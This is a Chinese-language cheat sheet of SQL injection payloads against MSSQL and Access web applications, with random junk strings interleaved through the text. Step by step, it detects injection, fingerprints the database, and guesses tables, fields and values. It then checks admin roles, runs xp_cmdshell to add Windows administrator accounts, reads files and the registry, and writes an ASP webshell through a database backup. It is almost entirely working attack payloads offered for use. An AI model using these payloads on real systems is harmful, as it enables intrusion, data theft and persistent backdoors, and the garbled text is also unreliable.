1.判断是否有注入;and 1=1 ;and 1=2 TyY[8J|
2.初步判断是否是mssql ;and user>0 RX P 0
4
(Eq0 |"cj
3.注入参数是字符'and [查询条件] and ''=' \Azl6`Em
x00"d$!
4.搜索时没过滤参数的'and [查询条件] and '%25'=' %=xR$<D
o$FqMRep
5.判断数据库系统 )q&=x2`
s?@{
;and (select count(*) from sysobjects)>0 mssql +R@5e+auQ.
K'+GK S7.
;and (select count(*) from msysobjects)>0 access *Em 9R
[ Lt1OdGl
Jtnuo]{R
Uc/MPCqZ
6.猜数据库 ;and (select Count(*) from [数据库名])>0 'j6PL;~c
?g+0S@{i $
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8l-+
4~mH
WBFG_])
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 u>Z;/kr
QKDY:1]
9.(1)猜字段的ascii值(access) HaXlc8
>:!TfuU^R
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8zS't2
u
AdxCP\S&
(2)猜字段的ascii值(mssql) !([Q1r{u
$`W.9
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 U$@p"F@P
WHk/Rg%<
10.测试权限结构(mssql) axW3#3#`
rl qn39
=/&ob%J)9]
2s_shY<=}L
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- dVmI.A'nbp
PsU.dv[
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4h\MSTF*
QijEb
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- QkBT,c
+ulBy
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- PdcF
p&ytUTna
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- n|dLK.Q
W|_
@ju
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Gnop
!:PF |dZ
;and 1=(select IS_MEMBER('db_owner'));-- O'{UAb+-
( >zXapb2
NTS
tk{s,
+h_'hz&HlS
11.添加mssql和系统的帐户 3YVG|Bc~_
n0 q5|ES
;exec master.dbo.sp_addlogin username;-- 9oKRnc
;exec master.dbo.sp_password null,username,password;-- JG @bl
rT9<_<
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- uUu]JDdz
*xR;}%s\
;exec master.dbo.xp_cmdshell 'net user username password 4:RL[;
o6,$;-?F_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- jE|Ju:}&
7K>FCT
;exec master.dbo.xp_cmdshell 'net user username password /add';-- &;S.1tg
Vb*q^
v
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- c-.t8X,5(~
Z(Fsk4,
pMnkh}Q#
ac%%*HN,
12.(1)遍历目录 o<ak&LX`9
e0Cr> I5/e
;create table dirs(paths varchar(100), id int) mk.:V64 >;
+a_eNl,
;insert dirs exec master.dbo.xp_dirtree 'c:\' ":E
7#9
mJe;BU"y]
;and (select top 1 paths from dirs)>0 /{Ksi+q
25]Mi2_
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) G{
~pA4
01<~~6A
;S5*n:d
h^h,4H\r
(2)遍历目录 o ?@,f/"5
~?4'{Hc'
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4^vEMq8lB
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;M}'\.
ZnSDq_Uk
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 VZBT'N
q'~?azg:
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 H~UxVQLPp
Njsz=
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 >F+Mu-^
?JO x9;`
I)Y ^_&=
,4wVQ(,?cd
13.mssql中的存储过程 CKwrE]h
&.D3f"
xp_regenumvalues 注册表根键, 子键 MT9c:7}[&
M7!>-P
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 %>B?WR\yE
Hf!o6 o
xp_regread 根键,子键,键值名 Hv2t_QjKT
T^.;yU_B?
;exec xp_regread qDZ?iTHQq
Ht|No
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 YSERQo
#12
xp_regwrite 根键,子键, 值名, 值类型, 值 p.^glz >B
]7" W(
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 mpfc2>6Il.
'7AlE!7%
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 KLD)h,]
spter35b[
xp_regdeletevalue 根键,子键,值名 Q SPneYD
A.tONPi
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 j]th6
|6/k2d{,(
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 A8 V7\
_V\rs{
5
#T:#!MKa
Y^DS~CrM
14.mssql的backup创建webshell d#E]>:w9
o}H7;v8H
use model )jkX&7x
8sb<$M$c
create table cmd(str image); #G2~#\
??eSGQ|
insert into cmd(str) values (''); "`]G>,r_
) *Mr{`
backup database model to disk='c:\l.asp'; |hms'n0
Ks
8
G?D7R/0)
l",JN.w
15.mssql内置函数 c ;_ T
C-!!1-Eq?:
;and (select @@version)>0 获得Windows的版本号 J60XUxf
5u
+U^D
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 'q%56WAJ
pleLdGq
;and (select user_name())>0 爆当前系统的连接用户 xL8r'gV@
6[fp e
;and (select db_name())>0 得到当前连接的数据库 xG:eS:iT
l_bvwo
9}p>='
-4ityS
@
16.简洁的webshell ^uB9EP*P
?m.WqNBH7
use model IB9[Lx
~\_aT2j0
create table cmd(str image); cojtQD6
7PQ03dtfg
insert into cmd(str) values (''); 9gP-//L@
+>3XJlZV
backup database model to disk='g:\wwwtest\l.asp';